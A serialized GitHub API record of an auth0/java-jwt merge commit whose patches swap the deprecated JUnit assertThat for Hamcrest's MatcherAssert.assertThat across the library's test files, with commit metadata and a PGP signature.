Replace deprecated assertThat method in teststree}(j7  (5c644170d2b38d93ce49b29af46e2e0a01422fd8url^https://api.github.com/repos/auth0/java-jwt/git/trees/5c644170d2b38d93ce49b29af46e2e0a01422fd8ujO  `https://api.github.com/repos/auth0/java-jwt/git/commits/e10966949df7da3acd96d15917b1ddc474336ab0
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiHiPRCRBK7hj4Ov3rIwAAGocIABOgLi/3Z09zFAThDbDq/3HP
W4FR2dYH3GIq7HU+UPehsSOYReNnJTYpKHe+6dHQXLOZYSZq6pb+sfwE63qPoviG
tRc2pKdghsO0bkyFjt+A4465gN1if9W9AS7MJglj0ckQ9ZPaRE3yO5Y6842VVb2Y
UQVG0H5n5F57DEETZQob3S+fRFw7vyJwhO+9KcikN1kaY+w/kDUngda7+OmE5BOk
XHWWAt2ma8gpnmXIIOVxdjFP0xvRnkyv5uB3izijwg57IJ3dTiaNGOB5MEa3PBPA
6/QwQwXHWxSKyChhHRsQPTiAUuas9GzD5WcYV/DrBRv8BD6wW0x6C4Xhe5TYc6M=
=w1x3
-----END PGP SIGNATURE-----
payloadX|  tree 5c644170d2b38d93ce49b29af46e2e0a01422fd8
parent a043f0284389d4efd58494264ce5ba2c79332410
parent 81534d0053e69f1517359f67b851c7d4997a7c9a
author Jim Anderson <jim.anderson@auth0.com> 1646142417 -0600
committer GitHub <noreply@github.com> 1646142417 -0600

Merge pull request #530 from auth0/replacing-assertThat-deprecated-method

Replace deprecated assertThat method in testsuujO  \https://api.github.com/repos/auth0/java-jwt/commits/e10966949df7da3acd96d15917b1ddc474336ab0html_urlQhttps://github.com/auth0/java-jwt/commit/e10966949df7da3acd96d15917b1ddc474336ab0comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e10966949df7da3acd96d15917b1ddc474336ab0/commentsj=  }(login
jimmyjamesidJ7 j9  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jO  'https://api.github.com/users/jimmyjamesj]  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujE  }(jb  web-flowjd  J/j9  MDQ6VXNlcjE5ODY0NDQ3jf  4https://avatars.githubusercontent.com/u/19864447?v=4jh  h3jO  %https://api.github.com/users/web-flowj]  https://github.com/web-flowjk  /https://api.github.com/users/web-flow/followersjm  <https://api.github.com/users/web-flow/following{/other_user}jo  5https://api.github.com/users/web-flow/gists{/gist_id}jq  <https://api.github.com/users/web-flow/starred{/owner}{/repo}js  3https://api.github.com/users/web-flow/subscriptionsju  *https://api.github.com/users/web-flow/orgsjw  +https://api.github.com/users/web-flow/reposjy  6https://api.github.com/users/web-flow/events{/privacy}j{  5https://api.github.com/users/web-flow/received_eventsj}  Userj  uparents](}(j7  (a043f0284389d4efd58494264ce5ba2c79332410jO  \https://api.github.com/repos/auth0/java-jwt/commits/a043f0284389d4efd58494264ce5ba2c79332410j]  Qhttps://github.com/auth0/java-jwt/commit/a043f0284389d4efd58494264ce5ba2c79332410u}(j7  (81534d0053e69f1517359f67b851c7d4997a7c9ajO  \https://api.github.com/repos/auth0/java-jwt/commits/81534d0053e69f1517359f67b851c7d4997a7c9aj]  Qhttps://github.com/auth0/java-jwt/commit/81534d0053e69f1517359f67b851c7d4997a7c9auestats}(totalKt	additionsK8	deletionsK<ufiles](}(j7  (0feb7c40e5dc5ab1adb3663a089bc877db285db0filename2lib/src/test/java/com/auth0/jwt/ClockImplTest.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FClockImplTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0patch@@ -7,7 +7,7 @@
 
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.notNullValue;
-import static org.junit.Assert.*;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class ClockImplTest {
 u}(j7  (0cbafc35018652195c6f5a2d8a89561dfc0be845j  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  X  @@ -16,7 +16,7 @@
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 u}(j7  (77ac4d188993ec2f832f97f931ee59c863b124f6j  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj  modifiedj  Kj  Kj  K!j  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  XQ  @@ -6,7 +6,6 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
 import org.hamcrest.core.IsCollectionContaining;
-import org.junit.Assert;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -244,60 +243,60 @@ public void shouldNotGetNullClaimIfClaimIsEmptyObject() throws Exception {
     public void shouldGetCustomClaimOfTypeInteger() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxMjN9.XZAudnA7h3_Al5kJydzLjw6RzZC3Q6OvnLEYlhNW7HA";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asInt(), is(123));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asInt(), is(123));
     }
 
     @Test
     public void shouldGetCustomClaimOfTypeDouble() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoyMy40NX0.7pyX2OmEGaU9q15T8bGFqRm-d3RVTYnqmZNZtxMKSlA";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asDouble(), is(23.45));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asDouble(), is(23.45));
     }
 
     @Test
     public void shouldGetCustomClaimOfTypeBoolean() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjp0cnVlfQ.FwQ8VfsZNRqBa9PXMinSIQplfLU4-rkCLfIlTLg_MV0";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asBoolean(), is(true));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asBoolean(), is(true));
     }
 
     @Test
     public void shouldGetCustomClaimOfTypeDate() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
         Date date = new Date(1478891521000L);
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asDate().getTime(), is(date.getTime()));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asDate().getTime(), is(date.getTime()));
     }
 
     @Test
     public void shouldGetCustomArrayClaimOfTypeString() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asArray(String.class), arrayContaining("text", "123", "true"));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asArray(String.class), arrayContaining("text", "123", "true"));
     }
 
     @Test
     public void shouldGetCustomArrayClaimOfTypeInteger() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbMSwyLDNdfQ.UEuMKRQYrzKAiPpPLhIVawWkKWA1zj0_GderrWUIyFE";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
-        Assert.assertThat(jwt.getClaim("name").asArray(Integer.class), arrayContaining(1, 2, 3));
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asArray(Integer.class), arrayContaining(1, 2, 3));
     }
 
     @Test
     public void shouldGetCustomMapClaim() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjp7InN0cmluZyI6InZhbHVlIiwibnVtYmVyIjoxLCJib29sZWFuIjp0cnVlfX0.-8aIaXd2-rp1lLuDEQmCeisCBX9X_zbqdPn2llGxNoc";
         DecodedJWT jwt = JWT.decode(token);
-        Assert.assertThat(jwt, is(notNullValue()));
+        assertThat(jwt, is(notNullValue()));
         Map<String, Object> map = jwt.getClaim("name").asMap();
-        Assert.assertThat(map, hasEntry("string", (Object) "value"));
-        Assert.assertThat(map, hasEntry("number", (Object) 1));
-        Assert.assertThat(map, hasEntry("boolean", (Object) true));
+        assertThat(map, hasEntry("string", (Object) "value"));
+        assertThat(map, hasEntry("number", (Object) 1));
+        assertThat(map, hasEntry("boolean", (Object) true));
     }
 
     @Testu}(j7  (6004e1422f5350c3cfda794f5645af9cb9106435j  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  X	  @@ -18,7 +18,7 @@
 import java.util.Date;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 u}(j7  (99e8b104528a6e9391c3d1ad4e66abca2ce476dej  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  X  @@ -18,7 +18,7 @@
 
 import static org.hamcrest.Matchers.startsWith;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.*;
 
 public class JWTVerifierTest {u}(j7  (a9ad8cbe46901f397837a8db9c485b6f28bab28aj  3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  @@ -6,7 +6,7 @@
 import org.junit.rules.ExpectedException;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class TokenUtilsTest {
 u}(j7  (d2e26e9ac37f23c6700262cda72a6c81d1f8c44dj  =lib/src/test/java/com/auth0/jwt/algorithms/AlgorithmTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithmTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  XL  @@ -12,7 +12,7 @@
 import java.security.interfaces.*;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.withSettings;
 import static org.mockito.ArgumentMatchers.any;u}(j7  (ef8e65e8e2fbe065a70913d59199dc5e3f5b2f8dj  @lib/src/test/java/com/auth0/jwt/algorithms/CryptoTestHelper.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoTestHelper.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  X  @@ -6,7 +6,7 @@
 import java.util.regex.Pattern;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.Assert.fail;
 
 public abstract class CryptoTestHelper {u}(j7  (8dd00ca3a805ca26e18d680051f4dff0223490c2j  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj  modifiedj  Kj  Kj  K*j  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  X?  @@ -6,7 +6,6 @@
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import org.hamcrest.Matchers;
 import org.hamcrest.collection.IsIn;
-import org.junit.Assert;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -27,14 +26,13 @@
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.Matchers.isA;
 import static org.hamcrest.Matchers.nullValue;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.internal.matchers.ThrowableMessageMatcher.hasMessage;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
-@SuppressWarnings("deprecation")
 public class ECDSAAlgorithmTest {
 
     private static final String PRIVATE_KEY_FILE_256 = "src/test/resources/ec256-key-private.pem";
@@ -1136,10 +1134,10 @@ public void shouldDecodeECDSA512DER() throws Exception {
 
     //Test Helpers
     static void assertValidJOSESignature(byte[] joseSignature, int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(joseSignature, is(Matchers.notNullValue()));
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(joseSignature, is(Matchers.notNullValue()));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
-        Assert.assertThat(joseSignature.length, is(numberSize * 2));
+        assertThat(joseSignature.length, is(numberSize * 2));
 
         byte[] rCopy = Arrays.copyOfRange(joseSignature, 0, numberSize);
         byte[] sCopy = Arrays.copyOfRange(joseSignature, numberSize, numberSize * 2);
@@ -1154,12 +1152,12 @@ static void assertValidJOSESignature(byte[] joseSignature, int numberSize, boole
         if (withSPadding) {
             sNumber[0] = (byte) 0;
         }
-        Assert.assertThat(Arrays.equals(rNumber, rCopy), is(true));
-        Assert.assertThat(Arrays.equals(sNumber, sCopy), is(true));
+        assertThat(Arrays.equals(rNumber, rCopy), is(true));
+        assertThat(Arrays.equals(sNumber, sCopy), is(true));
     }
 
     static byte[] createDERSignature(int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
         int rLength = withRPadding ? numberSize - 1 : numberSize;
         int sLength = withSPadding ? numberSize - 1 : numberSize;
@@ -1202,7 +1200,7 @@ static byte[] createDERSignature(int numberSize, boolean withRPadding, boolean w
     }
 
     static byte[] createJOSESignature(int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
         byte[] rNumber = new byte[numberSize];
         byte[] sNumber = new byte[numberSize];
@@ -1221,43 +1219,43 @@ static byte[] createJOSESignature(int numberSize, boolean withRPadding, boolean
     }
 
     static void assertValidDERSignature(byte[] derSignature, int numberSize, boolean withRPadding, boolean withSPadding) {
-        Assert.assertThat(derSignature, is(Matchers.notNullValue()));
-        Assert.assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
+        assertThat(derSignature, is(Matchers.notNullValue()));
+        assertThat(numberSize, is(IsIn.oneOf(32, 48, 66)));
 
         int rLength = withRPadding ? numberSize - 1 : numberSize;
         int sLength = withSPadding ? numberSize - 1 : numberSize;
         int totalLength = 2 + (2 + rLength) + (2 + sLength);
         int offset = 0;
 
         //Start sequence
-        Assert.assertThat(derSignature[offset++], is((byte) 0x30));
+        assertThat(derSignature[offset++], is((byte) 0x30));
         if (totalLength > 0x7f) {
             //Add sign before sequence length
             totalLength++;
-            Assert.assertThat(derSignature[offset++], is((byte) 0x81));
+            assertThat(derSignature[offset++], is((byte) 0x81));
         }
         //Sequence length
-        Assert.assertThat(derSignature[offset++], is((byte) (totalLength - offset)));
+        assertThat(derSignature[offset++], is((byte) (totalLength - offset)));
 
         //R number
-        Assert.assertThat(derSignature[offset++], is((byte) 0x02));
-        Assert.assertThat(derSignature[offset++], is((byte) rLength));
+        assertThat(derSignature[offset++], is((byte) 0x02));
+        assertThat(derSignature[offset++], is((byte) rLength));
         byte[] rCopy = Arrays.copyOfRange(derSignature, offset, offset + rLength);
         offset += rLength;
 
         //S number
-        Assert.assertThat(derSignature[offset++], is((byte) 0x02));
-        Assert.assertThat(derSignature[offset++], is((byte) sLength));
+        assertThat(derSignature[offset++], is((byte) 0x02));
+        assertThat(derSignature[offset++], is((byte) sLength));
         byte[] sCopy = Arrays.copyOfRange(derSignature, offset, offset + sLength);
 
 
         byte[] rNumber = new byte[rLength];
         byte[] sNumber = new byte[sLength];
         Arrays.fill(rNumber, (byte) 0x11);
         Arrays.fill(sNumber, (byte) 0x22);
-        Assert.assertThat(Arrays.equals(rNumber, rCopy), is(true));
-        Assert.assertThat(Arrays.equals(sNumber, sCopy), is(true));
-        Assert.assertThat(derSignature.length, is(totalLength));
+        assertThat(Arrays.equals(rNumber, rCopy), is(true));
+        assertThat(Arrays.equals(sNumber, sCopy), is(true));
+        assertThat(derSignature.length, is(totalLength));
     }
 
     @Testu}(j7  (675baeff3a24741f4f047c24500b4093bc74e621j  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  X  @@ -25,7 +25,7 @@
 import static com.auth0.jwt.algorithms.ECDSAAlgorithmTest.*;
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.internal.matchers.ThrowableMessageMatcher.hasMessage;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;u}(j7  (ded62aff6e802110e79912d5a33cc29faacedd55j  Alib/src/test/java/com/auth0/jwt/algorithms/HMACAlgorithmTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  X
  @@ -19,8 +19,8 @@
 import static com.auth0.jwt.algorithms.CryptoTestHelper.assertSignaturePresent;
 import static com.auth0.jwt.algorithms.CryptoTestHelper.assertSignatureValue;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertTrue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.Assert.assertArrayEquals;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
@@ -36,8 +36,8 @@ public class HMACAlgorithmTest {
     @Test
     public void shouldGetStringBytes() throws Exception {
         String text = "abcdef123456!@#$%^";
-        byte[] expectedBytes = text.getBytes("UTF-8");
-        assertTrue(Arrays.equals(expectedBytes, HMACAlgorithm.getSecretBytes(text)));
+        byte[] expectedBytes = text.getBytes(StandardCharsets.UTF_8);
+        assertArrayEquals(expectedBytes, HMACAlgorithm.getSecretBytes(text));
     }
 
     @Testu}(j7  (f4946dfaeba2c6653b1fba4402bd516a77231554j  Alib/src/test/java/com/auth0/jwt/algorithms/NoneAlgorithmTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithmTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  @@ -8,7 +8,7 @@
 import org.junit.rules.ExpectedException;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class NoneAlgorithmTest {
 u}(j7  (d7a062af255a6d8c0eda1ae10c303e74d688d336j  @lib/src/test/java/com/auth0/jwt/algorithms/RSAAlgorithmTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithmTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  X  @@ -17,15 +17,14 @@
 import static com.auth0.jwt.PemUtils.readPrivateKeyFromFile;
 import static com.auth0.jwt.PemUtils.readPublicKeyFromFile;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.junit.internal.matchers.ThrowableMessageMatcher.hasMessage;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 import static com.auth0.jwt.algorithms.CryptoTestHelper.*;
 
-@SuppressWarnings("deprecation")
 public class RSAAlgorithmTest {
 
     private static final String PRIVATE_KEY_FILE = "src/test/resources/rsa-private.pem";u}(j7  (faa4894811a470235e54f333d8be3136e1a350aej  :lib/src/test/java/com/auth0/jwt/impl/ClaimsHolderTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.javaj  https://github.com/auth0/java-jwt/raw/e10966949df7da3acd96d15917b1ddc474336ab0/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.java?ref=e10966949df7da3acd96d15917b1ddc474336ab0j  @@ -7,7 +7,7 @@
 import java.util.Map;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
